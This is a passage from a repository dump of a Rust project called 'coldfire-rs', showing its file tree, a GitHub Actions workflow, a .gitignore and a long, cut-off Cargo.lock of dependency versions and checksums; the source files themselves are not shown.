├── .github └── workflows │ └── rust.yml ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── logo.png └── src ├── linux.rs └── main.rs /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: [ dev ] 6 | pull_request: 7 | branches: [ dev ] 8 | 9 | env: 10 | CARGO_TERM_COLOR: always 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | steps: 18 | - uses: actions/checkout@v2 19 | - name: Run tests 20 | run: cargo run 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "addr2line" 7 | version = "0.16.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "3e61f2b7f93d2c7d2b08263acaa4a363b3e276806c68af6134c44f523bf1aacd" 10 | dependencies = [ 11 | "gimli", 12 | ] 13 | 14 | [[package]] 15 | name = "adler" 16 | version = "1.0.2" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" 19 | 20 | [[package]] 21 | name = "autocfg" 22 | version = "1.0.1" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a" 25 | 26 | [[package]] 27 | name = "backtrace" 28 | version = "0.3.61" 29 | source = "registry+https://github.com/rust-lang/crates.io-index" 30 | checksum = "e7a905d892734eea339e896738c14b9afce22b5318f64b951e70bf3844419b01" 31 | dependencies = [ 32 | "addr2line", 33 | "cc", 34 | "cfg-if", 35 | "libc", 36 | "miniz_oxide", 37 | "object", 38 | "rustc-demangle", 39 | ] 40 | 41 | [[package]] 42 | name = "base64" 43 | version = "0.13.0" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 46 | 47 | [[package]] 48 | name = "bitflags" 49 | version = "1.3.2" 50 | source = "registry+https://github.com/rust-lang/crates.io-index" 51 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 52 | 53 | [[package]] 54 | name = "bitflags" 55 | version = "2.4.1" 56 | source = "registry+https://github.com/rust-lang/crates.io-index" 57 | checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" 58 | 59 | [[package]] 60 | name = "bumpalo" 61 | version = "3.14.0" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" 64 | 65 | [[package]] 66 | name = "bytes" 67 | version = "1.1.0" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "c4872d67bab6358e59559027aa3b9157c53d9358c51423c17554809a8858e0f8" 70 | 71 | [[package]] 72 | name = "cc" 73 | version = "1.0.70" 74 | source = "registry+https://github.com/rust-lang/crates.io-index" 75 | checksum = "d26a6ce4b6a484fa3edb70f7efa6fc430fd2b87285fe8b84304fd0936faa0dc0" 76 | 77 | [[package]] 78 | name = "cfg-if" 79 | version = "1.0.0" 80 | source = "registry+https://github.com/rust-lang/crates.io-index" 81 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 82 | 83 | [[package]] 84 | name = "coldfire-rs" 85 | version = "0.1.0" 86 | dependencies = [ 87 | "base64", 88 | "error-chain", 89 | "md5", 90 | "rand", 91 | "reqwest", 92 | ] 93 | 94 | [[package]] 95 | name = "core-foundation" 96 | version = "0.9.1" 97 | source = "registry+https://github.com/rust-lang/crates.io-index" 98 | checksum = "0a89e2ae426ea83155dccf10c0fa6b1463ef6d5fcb44cee0b224a408fa640a62" 99 | dependencies = [ 100 | "core-foundation-sys", 101 | "libc", 102 | ] 103 | 104 | [[package]] 105 | name = "core-foundation-sys" 106 | version = "0.8.2" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "ea221b5284a47e40033bf9b66f35f984ec0ea2931eb03505246cd27a963f981b" 109 | 110 | [[package]] 111 | name = "encoding_rs" 112 | version = "0.8.28" 113 | source = "registry+https://github.com/rust-lang/crates.io-index" 114 | checksum = "80df024fbc5ac80f87dfef0d9f5209a252f2a497f7f42944cff24d8253cac065" 115 | dependencies = [ 116 | "cfg-if", 117 | ] 118 | 119 | [[package]] 120 | name = "error-chain" 121 | version = "0.12.4" 122 | source = "registry+https://github.com/rust-lang/crates.io-index" 123 | checksum = "2d2f06b9cac1506ece98fe3231e3cc9c4410ec3d5b1f24ae1c8946f0742cdefc" 124 | dependencies = [ 125 | "backtrace", 126 | "version_check", 127 | ] 128 | 129 | [[package]] 130 | name = "fnv" 131 | version = "1.0.7" 132 | source = "registry+https://github.com/rust-lang/crates.io-index" 133 | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" 134 | 135 | [[package]] 136 | name = "foreign-types" 137 | version = "0.3.2" 138 | source = "registry+https://github.com/rust-lang/crates.io-index" 139 | checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" 140 | dependencies = [ 141 | "foreign-types-shared", 142 | ] 143 | 144 | [[package]] 145 | name = "foreign-types-shared" 146 | version = "0.1.1" 147 | source = "registry+https://github.com/rust-lang/crates.io-index" 148 | checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" 149 | 150 | [[package]] 151 | name = "form_urlencoded" 152 | version = "1.0.1" 153 | source = "registry+https://github.com/rust-lang/crates.io-index" 154 | checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191" 155 | dependencies = [ 156 | "matches", 157 | "percent-encoding", 158 | ] 159 | 160 | [[package]] 161 | name = "futures-channel" 162 | version = "0.3.17" 163 | source = "registry+https://github.com/rust-lang/crates.io-index" 164 | checksum = "5da6ba8c3bb3c165d3c7319fc1cc8304facf1fb8db99c5de877183c08a273888" 165 | dependencies = [ 166 | "futures-core", 167 | ] 168 | 169 | [[package]] 170 | name = "futures-core" 171 | version = "0.3.17" 172 | source = "registry+https://github.com/rust-lang/crates.io-index" 173 | checksum = "88d1c26957f23603395cd326b0ffe64124b818f4449552f960d815cfba83a53d" 174 | 175 | [[package]] 176 | name = "futures-io" 177 | version = "0.3.17" 178 | source = "registry+https://github.com/rust-lang/crates.io-index" 179 | checksum = "522de2a0fe3e380f1bc577ba0474108faf3f6b18321dbf60b3b9c39a75073377" 180 | 181 | [[package]] 182 | name = "futures-sink" 183 | version = "0.3.17" 184 | source = "registry+https://github.com/rust-lang/crates.io-index" 185 | checksum = "36ea153c13024fe480590b3e3d4cad89a0cfacecc24577b68f86c6ced9c2bc11" 186 | 187 | [[package]] 188 | name = "futures-task" 189 | version = "0.3.17" 190 | source = "registry+https://github.com/rust-lang/crates.io-index" 191 | checksum = "1d3d00f4eddb73e498a54394f228cd55853bdf059259e8e7bc6e69d408892e99" 192 | 193 | [[package]] 194 | name = "futures-util" 195 | version = "0.3.17" 196 | source = "registry+https://github.com/rust-lang/crates.io-index" 197 | checksum = "36568465210a3a6ee45e1f165136d68671471a501e632e9a98d96872222b5481" 198 | dependencies = [ 199 | "autocfg", 200 | "futures-core", 201 | "futures-io", 202 | "futures-task", 203 | "memchr", 204 | "pin-project-lite", 205 | "pin-utils", 206 | "slab", 207 | ] 208 | 209 | [[package]] 210 | name = "getrandom" 211 | version = "0.2.3" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "7fcd999463524c52659517fe2cea98493cfe485d10565e7b0fb07dbba7ad2753" 214 | dependencies = [ 215 | "cfg-if", 216 | "libc", 217 | "wasi", 218 | ] 219 | 220 | [[package]] 221 | name = "gimli" 222 | version = "0.25.0" 223 | source = "registry+https://github.com/rust-lang/crates.io-index" 224 | checksum = "f0a01e0497841a3b2db4f8afa483cce65f7e96a3498bd6c541734792aeac8fe7" 225 | 226 | [[package]] 227 | name = "h2" 228 | version = "0.3.21" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "91fc23aa11be92976ef4729127f1a74adf36d8436f7816b185d18df956790833" 231 | dependencies = [ 232 | "bytes", 233 | "fnv", 234 | "futures-core", 235 | "futures-sink", 236 | "futures-util", 237 | "http", 238 | "indexmap", 239 | "slab", 240 | "tokio", 241 | "tokio-util", 242 | "tracing", 243 | ] 244 | 245 | [[package]] 246 | name = "hashbrown" 247 | version = "0.11.2" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 250 | 251 | [[package]] 252 | name = "hermit-abi" 253 | version = "0.1.19" 254 | source = "registry+https://github.com/rust-lang/crates.io-index" 255 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 256 | dependencies = [ 257 | "libc", 258 | ] 259 | 260 | [[package]] 261 | name = "http" 262 | version = "0.2.5" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "1323096b05d41827dadeaee54c9981958c0f94e670bc94ed80037d1a7b8b186b" 265 | dependencies = [ 266 | "bytes", 267 | "fnv", 268 | "itoa", 269 | ] 270 | 271 | [[package]] 272 | name = "http-body" 273 | version = "0.4.3" 274 | source = "registry+https://github.com/rust-lang/crates.io-index" 275 | checksum = "399c583b2979440c60be0821a6199eca73bc3c8dcd9d070d75ac726e2c6186e5" 276 | dependencies = [ 277 | "bytes", 278 | "http", 279 | "pin-project-lite", 280 | ] 281 | 282 | [[package]] 283 | name = "httparse" 284 | version = "1.5.1" 285 | source = "registry+https://github.com/rust-lang/crates.io-index" 286 | checksum = "acd94fdbe1d4ff688b67b04eee2e17bd50995534a61539e45adfefb45e5e5503" 287 | 288 | [[package]] 289 | name = "httpdate" 290 | version = "1.0.1" 291 | source = "registry+https://github.com/rust-lang/crates.io-index" 292 | checksum = "6456b8a6c8f33fee7d958fcd1b60d55b11940a79e63ae87013e6d22e26034440" 293 | 294 | [[package]] 295 | name = "hyper" 296 | version = "0.14.13" 297 | source = "registry+https://github.com/rust-lang/crates.io-index" 298 | checksum = "15d1cfb9e4f68655fa04c01f59edb405b6074a0f7118ea881e5026e4a1cd8593" 299 | dependencies = [ 300 | "bytes", 301 | "futures-channel", 302 | "futures-core", 303 | "futures-util", 304 | "h2", 305 | "http", 306 | "http-body", 307 | "httparse", 308 | "httpdate", 309 | "itoa", 310 | "pin-project-lite", 311 | "socket2", 312 | "tokio", 313 | "tower-service", 314 | "tracing", 315 | "want", 316 | ] 317 | 318 | [[package]] 319 | name = "hyper-tls" 320 | version = "0.5.0" 321 | source = "registry+https://github.com/rust-lang/crates.io-index" 322 | checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905" 323 | dependencies = [ 324 | "bytes", 325 | "hyper", 326 | "native-tls", 327 | "tokio", 328 | "tokio-native-tls", 329 | ] 330 | 331 | [[package]] 332 | name = "idna" 333 | version = "0.2.3" 334 | source = "registry+https://github.com/rust-lang/crates.io-index" 335 | checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" 336 | dependencies = [ 337 | "matches", 338 | "unicode-bidi", 339 | "unicode-normalization", 340 | ] 341 | 342 | [[package]] 343 | name = "indexmap" 344 | version = "1.7.0" 345 | source = "registry+https://github.com/rust-lang/crates.io-index" 346 | checksum = "bc633605454125dec4b66843673f01c7df2b89479b32e0ed634e43a91cff62a5" 347 | dependencies = [ 348 | "autocfg", 349 | "hashbrown", 350 | ] 351 | 352 | [[package]] 353 | name = "ipnet" 354 | version = "2.3.1" 355 | source = "registry+https://github.com/rust-lang/crates.io-index" 356 | checksum = "68f2d64f2edebec4ce84ad108148e67e1064789bee435edc5b60ad398714a3a9" 357 | 358 | [[package]] 359 | name = "itoa" 360 | version = "0.4.8" 361 | source = "registry+https://github.com/rust-lang/crates.io-index" 362 | checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" 363 | 364 | [[package]] 365 | name = "js-sys" 366 | version = "0.3.55" 367 | source = "registry+https://github.com/rust-lang/crates.io-index" 368 | checksum = "7cc9ffccd38c451a86bf13657df244e9c3f37493cce8e5e21e940963777acc84" 369 | dependencies = [ 370 | "wasm-bindgen", 371 | ] 372 | 373 | [[package]] 374 | name = "lazy_static" 375 | version = "1.4.0" 376 | source = "registry+https://github.com/rust-lang/crates.io-index" 377 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 378 | 379 | [[package]] 380 | name = "libc" 381 | version = "0.2.102" 382 | source = "registry+https://github.com/rust-lang/crates.io-index" 383 | checksum = "a2a5ac8f984bfcf3a823267e5fde638acc3325f6496633a5da6bb6eb2171e103" 384 | 385 | [[package]] 386 | name = "log" 387 | version = "0.4.14" 388 | source = "registry+https://github.com/rust-lang/crates.io-index" 389 | checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" 390 | dependencies = [ 391 | "cfg-if", 392 | ] 393 | 394 | [[package]] 395 | name = "matches" 396 | version = "0.1.9" 397 | source = "registry+https://github.com/rust-lang/crates.io-index" 398 | checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f" 399 | 400 | [[package]] 401 | name = "md5" 402 | version = "0.7.0" 403 | source = "registry+https://github.com/rust-lang/crates.io-index" 404 | checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" 405 | 406 | [[package]] 407 | name = "memchr" 408 | version = "2.4.1" 409 | source = "registry+https://github.com/rust-lang/crates.io-index" 410 | checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" 411 | 412 | [[package]] 413 | name = "mime" 414 | version = "0.3.16" 415 | source = "registry+https://github.com/rust-lang/crates.io-index" 416 | checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" 417 | 418 | [[package]] 419 | name = "miniz_oxide" 420 | version = "0.4.4" 421 | source = "registry+https://github.com/rust-lang/crates.io-index" 422 | checksum = "a92518e98c078586bc6c934028adcca4c92a53d6a958196de835170a01d84e4b" 423 | dependencies = [ 424 | "adler", 425 | "autocfg", 426 | ] 427 | 428 | [[package]] 429 | name = "mio" 430 | version = "0.7.13" 431 | source = "registry+https://github.com/rust-lang/crates.io-index" 432 | checksum = "8c2bdb6314ec10835cd3293dd268473a835c02b7b352e788be788b3c6ca6bb16" 433 | dependencies = [ 434 | "libc", 435 | "log", 436 | "miow", 437 | "ntapi", 438 | "winapi", 439 | ] 440 | 441 | [[package]] 442 | name = "miow" 443 | version = "0.3.7" 444 | source = "registry+https://github.com/rust-lang/crates.io-index" 445 | checksum = "b9f1c5b025cda876f66ef43a113f91ebc9f4ccef34843000e0adf6ebbab84e21" 446 | dependencies = [ 447 | "winapi", 448 | ] 449 | 450 | [[package]] 451 | name = "native-tls" 452 | version = "0.2.8" 453 | source = "registry+https://github.com/rust-lang/crates.io-index" 454 | checksum = "48ba9f7719b5a0f42f338907614285fb5fd70e53858141f69898a1fb7203b24d" 455 | dependencies = [ 456 | "lazy_static", 457 | "libc", 458 | "log", 459 | "openssl", 460 | "openssl-probe", 461 | "openssl-sys", 462 | "schannel", 463 | "security-framework", 464 | "security-framework-sys", 465 | "tempfile", 466 | ] 467 | 468 | [[package]] 469 | name = "ntapi" 470 | version = "0.3.6" 471 | source = "registry+https://github.com/rust-lang/crates.io-index" 472 | checksum = "3f6bb902e437b6d86e03cce10a7e2af662292c5dfef23b65899ea3ac9354ad44" 473 | dependencies = [ 474 | "winapi", 475 | ] 476 | 477 | [[package]] 478 | name = "num_cpus" 479 | version = "1.13.0" 480 | source = "registry+https://github.com/rust-lang/crates.io-index" 481 | checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3" 482 | dependencies = [ 483 | "hermit-abi", 484 | "libc", 485 | ] 486 | 487 | [[package]] 488 | name = "object" 489 | version = "0.26.2" 490 | source = "registry+https://github.com/rust-lang/crates.io-index" 491 | checksum = "39f37e50073ccad23b6d09bcb5b263f4e76d3bb6038e4a3c08e52162ffa8abc2" 492 | dependencies = [ 493 | "memchr", 494 | ] 495 | 496 | [[package]] 497 | name = "once_cell" 498 | version = "1.8.0" 499 | source = "registry+https://github.com/rust-lang/crates.io-index" 500 | checksum = "692fcb63b64b1758029e0a96ee63e049ce8c5948587f2f7208df04625e5f6b56" 501 | 502 | [[package]] 503 | name = "openssl" 504 | version = "0.10.62" 505 | source = "registry+https://github.com/rust-lang/crates.io-index" 506 | checksum = "8cde4d2d9200ad5909f8dac647e29482e07c3a35de8a13fce7c9c7747ad9f671" 507 | dependencies = [ 508 | "bitflags 2.4.1", 509 | "cfg-if", 510 | "foreign-types", 511 | "libc", 512 | "once_cell", 513 | "openssl-macros", 514 | "openssl-sys", 515 | ] 516 | 517 | [[package]] 518 | name = "openssl-macros" 519 | version = "0.1.0" 520 | source = "registry+https://github.com/rust-lang/crates.io-index" 521 | checksum = "b501e44f11665960c7e7fcf062c7d96a14ade4aa98116c004b2e37b5be7d736c" 522 | dependencies = [ 523 | "proc-macro2", 524 | "quote", 525 | "syn", 526 | ] 527 | 528 | [[package]] 529 | name = "openssl-probe" 530 | version = "0.1.4" 531 | source = "registry+https://github.com/rust-lang/crates.io-index" 532 | checksum = "28988d872ab76095a6e6ac88d99b54fd267702734fd7ffe610ca27f533ddb95a" 533 | 534 | [[package]] 535 | name = "openssl-sys" 536 | version = "0.9.98" 537 | source = "registry+https://github.com/rust-lang/crates.io-index" 538 | checksum = "c1665caf8ab2dc9aef43d1c0023bd904633a6a05cb30b0ad59bec2ae986e57a7" 539 | dependencies = [ 540 | "cc", 541 | "libc", 542 | "pkg-config", 543 | "vcpkg", 544 | ] 545 | 546 | [[package]] 547 | name = "percent-encoding" 548 | version = "2.1.0" 549 | source = "registry+https://github.com/rust-lang/crates.io-index" 550 | checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e" 551 | 552 | [[package]] 553 | name = "pin-project-lite" 554 | version = "0.2.7" 555 | source = "registry+https://github.com/rust-lang/crates.io-index" 556 | checksum = "8d31d11c69a6b52a174b42bdc0c30e5e11670f90788b2c471c31c1d17d449443" 557 | 558 | [[package]] 559 | name = "pin-utils" 560 | version = "0.1.0" 561 | source = "registry+https://github.com/rust-lang/crates.io-index" 562 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 563 | 564 | [[package]] 565 | name = "pkg-config" 566 | version = "0.3.19" 567 | source = "registry+https://github.com/rust-lang/crates.io-index" 568 | checksum = "3831453b3449ceb48b6d9c7ad7c96d5ea673e9b470a1dc578c2ce6521230884c" 569 | 570 | [[package]] 571 | name = "ppv-lite86" 572 | version = "0.2.10" 573 | source = "registry+https://github.com/rust-lang/crates.io-index" 574 | checksum = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857" 575 | 576 | [[package]] 577 | name = "proc-macro2" 578 | version = "1.0.29" 579 | source = "registry+https://github.com/rust-lang/crates.io-index" 580 | checksum = "b9f5105d4fdaab20335ca9565e106a5d9b82b6219b5ba735731124ac6711d23d" 581 | dependencies = [ 582 | "unicode-xid", 583 | ] 584 | 585 | [[package]] 586 | name = "quote" 587 | version = "1.0.9" 588 | source = "registry+https://github.com/rust-lang/crates.io-index" 589 | checksum = "c3d0b9745dc2debf507c8422de05d7226cc1f0644216dfdfead988f9b1ab32a7" 590 | dependencies = [ 591 | "proc-macro2", 592 | ] 593 | 594 | [[package]] 595 | name = "rand" 596 | version = "0.8.4" 597 | source = "registry+https://github.com/rust-lang/crates.io-index" 598 | checksum = "2e7573632e6454cf6b99d7aac4ccca54be06da05aca2ef7423d22d27d4d4bcd8" 599 | dependencies = [ 600 | "libc", 601 | "rand_chacha", 602 | "rand_core", 603 | "rand_hc", 604 | ] 605 | 606 | [[package]] 607 | name = "rand_chacha" 608 | version = "0.3.1" 609 | source = "registry+https://github.com/rust-lang/crates.io-index" 610 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 611 | dependencies = [ 612 | "ppv-lite86", 613 | "rand_core", 614 | ] 615 | 616 | [[package]] 617 | name = "rand_core" 618 | version = "0.6.3" 619 | source = "registry+https://github.com/rust-lang/crates.io-index" 620 | checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" 621 | dependencies = [ 622 | "getrandom", 623 | ] 624 | 625 | [[package]] 626 | name = "rand_hc" 627 | version = "0.3.1" 628 | source = "registry+https://github.com/rust-lang/crates.io-index" 629 | checksum = "d51e9f596de227fda2ea6c84607f5558e196eeaf43c986b724ba4fb8fdf497e7" 630 | dependencies = [ 631 | "rand_core", 632 | ] 633 | 634 | [[package]] 635 | name = "redox_syscall" 636 | version = "0.2.10" 637 | source = "registry+https://github.com/rust-lang/crates.io-index" 638 | checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" 639 | dependencies = [ 640 | "bitflags 1.3.2", 641 | ] 642 | 643 | [[package]] 644 | name = "remove_dir_all" 645 | version = "0.5.3" 646 | source = "registry+https://github.com/rust-lang/crates.io-index" 647 | checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7" 648 | dependencies = [ 649 | "winapi", 650 | ] 651 | 652 | [[package]] 653 | name = "reqwest" 654 | version = "0.11.4" 655 | source = "registry+https://github.com/rust-lang/crates.io-index" 656 | checksum = "246e9f61b9bb77df069a947682be06e31ac43ea37862e244a69f177694ea6d22" 657 | dependencies = [ 658 | "base64", 659 | "bytes", 660 | "encoding_rs", 661 | "futures-core", 662 | "futures-util", 663 | "http", 664 | "http-body", 665 | "hyper", 666 | "hyper-tls", 667 | "ipnet", 668 | "js-sys", 669 | "lazy_static", 670 | "log", 671 | "mime", 672 | "native-tls", 673 | "percent-encoding", 674 | "pin-project-lite", 675 | "serde", 676 | "serde_urlencoded", 677 | "tokio", 678 | "tokio-native-tls", 679 | "url", 680 | "wasm-bindgen", 681 | "wasm-bindgen-futures", 682 | "web-sys", 683 | "winreg", 684 | ] 685 | 686 | [[package]] 687 | name = "rustc-demangle" 688 | version = "0.1.21" 689 | source = "registry+https://github.com/rust-lang/crates.io-index" 690 | checksum = "7ef03e0a2b150c7a90d01faf6254c9c48a41e95fb2a8c2ac1c6f0d2b9aefc342" 691 | 692 | [[package]] 693 | name = "ryu" 694 | version = "1.0.5" 695 | source = "registry+https://github.com/rust-lang/crates.io-index" 696 | checksum = "71d301d4193d031abdd79ff7e3dd721168a9572ef3fe51a1517aba235bd8f86e" 697 | 698 | [[package]] 699 | name = "schannel" 700 | version = "0.1.19" 701 | source = "registry+https://github.com/rust-lang/crates.io-index" 702 | checksum = "8f05ba609c234e60bee0d547fe94a4c7e9da733d1c962cf6e59efa4cd9c8bc75" 703 | dependencies = [ 704 | "lazy_static", 705 | "winapi", 706 | ] 707 | 708 | [[package]] 709 | name = "security-framework" 710 | version = "2.4.2" 711 | source = "registry+https://github.com/rust-lang/crates.io-index" 712 | checksum = "525bc1abfda2e1998d152c45cf13e696f76d0a4972310b22fac1658b05df7c87" 713 | dependencies = [ 714 | "bitflags 1.3.2", 715 | "core-foundation", 716 | "core-foundation-sys", 717 | "libc", 718 | "security-framework-sys", 719 | ] 720 | 721 | [[package]] 722 | name = "security-framework-sys" 723 | version = "2.4.2" 724 | source = "registry+https://github.com/rust-lang/crates.io-index" 725 | checksum = "a9dd14d83160b528b7bfd66439110573efcfbe281b17fc2ca9f39f550d619c7e" 726 | dependencies = [ 727 | "core-foundation-sys", 728 | "libc", 729 | ] 730 | 731 | [[package]] 732 | name = "serde" 733 | version = "1.0.130" 734 | source = "registry+https://github.com/rust-lang/crates.io-index" 735 | checksum = "f12d06de37cf59146fbdecab66aa99f9fe4f78722e3607577a5375d66bd0c913" 736 | 737 | [[package]] 738 | name = "serde_json" 739 | version = "1.0.68" 740 | source = "registry+https://github.com/rust-lang/crates.io-index" 741 | checksum = "0f690853975602e1bfe1ccbf50504d67174e3bcf340f23b5ea9992e0587a52d8" 742 | dependencies = [ 743 | "itoa", 744 | "ryu", 745 | "serde", 746 | ] 747 | 748 | [[package]] 749 | name = "serde_urlencoded" 750 | version = "0.7.0" 751 | source = "registry+https://github.com/rust-lang/crates.io-index" 752 | checksum = "edfa57a7f8d9c1d260a549e7224100f6c43d43f9103e06dd8b4095a9b2b43ce9" 753 | dependencies = [ 754 | "form_urlencoded", 755 | "itoa", 756 | "ryu", 757 | "serde", 758 | ] 759 | 760 | [[package]] 761 | name = "slab" 762 | version = "0.4.4" 763 | source = "registry+https://github.com/rust-lang/crates.io-index" 764 | checksum = "c307a32c1c5c437f38c7fd45d753050587732ba8628319fbdf12a7e289ccc590" 765 | 766 | [[package]] 767 | name = "socket2" 768 | version = "0.4.2" 769 | source = "registry+https://github.com/rust-lang/crates.io-index" 770 | checksum = "5dc90fe6c7be1a323296982db1836d1ea9e47b6839496dde9a541bc496df3516" 771 | dependencies = [ 772 | "libc", 773 | "winapi", 774 | ] 775 | 776 | [[package]] 777 | name = "syn" 778 | version = "1.0.76" 779 | source = "registry+https://github.com/rust-lang/crates.io-index" 780 | checksum = "c6f107db402c2c2055242dbf4d2af0e69197202e9faacbef9571bbe47f5a1b84" 781 | dependencies = [ 782 | "proc-macro2", 783 | "quote", 784 | "unicode-xid", 785 | ] 786 | 787 | [[package]] 788 | name = "tempfile" 789 | version = "3.2.0" 790 | source = "registry+https://github.com/rust-lang/crates.io-index" 791 | checksum = "dac1c663cfc93810f88aed9b8941d48cabf856a1b111c29a40439018d870eb22" 792 | dependencies = [ 793 | "cfg-if", 794 | "libc", 795 | "rand", 796 | "redox_syscall", 797 | "remove_dir_all", 798 | "winapi", 799 | ] 800 | 801 | [[package]] 802 | name = "tinyvec" 803 | version = "1.4.0" 804 | source = "registry+https://github.com/rust-lang/crates.io-index" 805 | checksum = "5241dd6f21443a3606b432718b166d3cedc962fd4b8bea54a8bc7f514ebda986" 806 | dependencies = [ 807 | "tinyvec_macros", 808 | ] 809 | 810 | [[package]] 811 | name = "tinyvec_macros" 812 | version = "0.1.0" 813 | source = "registry+https://github.com/rust-lang/crates.io-index" 814 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" 815 | 816 | [[package]] 817 | name = "tokio" 818 | version = "1.16.1" 819 | source = "registry+https://github.com/rust-lang/crates.io-index" 820 | checksum = "0c27a64b625de6d309e8c57716ba93021dccf1b3b5c97edd6d3dd2d2135afc0a" 821 | dependencies = [ 822 | "bytes", 823 | "libc", 824 | "memchr", 825 | "mio", 826 | "num_cpus", 827 | "pin-project-lite", 828 | "winapi", 829 | ] 830 | 831 | [[package]] 832 | name = "tokio-native-tls" 833 | version = "0.3.0" 834 | source = "registry+https://github.com/rust-lang/crates.io-index" 835 | checksum = "f7d995660bd2b7f8c1568414c1126076c13fbb725c40112dc0120b78eb9b717b" 836 | dependencies = [ 837 | "native-tls", 838 | "tokio", 839 | ] 840 | 841 | [[package]] 842 | name = "tokio-util" 843 | version = "0.7.2" 844 | source = "registry+https://github.com/rust-lang/crates.io-index" 845 | checksum = "f988a1a1adc2fb21f9c12aa96441da33a1728193ae0b95d2be22dbd17fcb4e5c" 846 | dependencies = [ 847 | "bytes", 848 | "futures-core", 849 | "futures-sink", 850 | "pin-project-lite", 851 | "tokio", 852 | "tracing", 853 | ] 854 | 855 | [[package]] 856 | name = "tower-service" 857 | version = "0.3.1" 858 | source = "registry+https://github.com/rust-lang/crates.io-index" 859 | checksum = "360dfd1d6d30e05fda32ace2c8c70e9c0a9da713275777f5a4dbb8a1893930c6" 860 | 861 | [[package]] 862 | name = "tracing" 863 | version = "0.1.28" 864 | source = "registry+https://github.com/rust-lang/crates.io-index" 865 | checksum = "84f96e095c0c82419687c20ddf5cb3eadb61f4e1405923c9dc8e53a1adacbda8" 866 | dependencies = [ 867 | "cfg-if", 868 | "pin-project-lite", 869 | "tracing-attributes", 870 | "tracing-core", 871 | ] 872 | 873 | [[package]] 874 | name = "tracing-attributes" 875 | version = "0.1.22" 876 | source = "registry+https://github.com/rust-lang/crates.io-index" 877 | checksum = "11c75893af559bc8e10716548bdef5cb2b983f8e637db9d0e15126b61b484ee2" 878 | dependencies = [ 879 | "proc-macro2", 880 | "quote", 881 | "syn", 882 | ] 883 | 884 | [[package]] 885 | name = "tracing-core" 886 | version = "0.1.20" 887 | source = "registry+https://github.com/rust-lang/crates.io-index" 888 | checksum = "46125608c26121c81b0c6d693eab5a420e416da7e43c426d2e8f7df8da8a3acf" 889 | dependencies = [ 890 | "lazy_static", 891 | ] 892 | 893 | [[package]] 894 | name = "try-lock" 895 | version = "0.2.3" 896 | source = "registry+https://github.com/rust-lang/crates.io-index" 897 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" 898 | 899 | [[package]] 900 | name = "unicode-bidi" 901 | version = "0.3.6" 902 | source = "registry+https://github.com/rust-lang/crates.io-index" 903 | checksum = 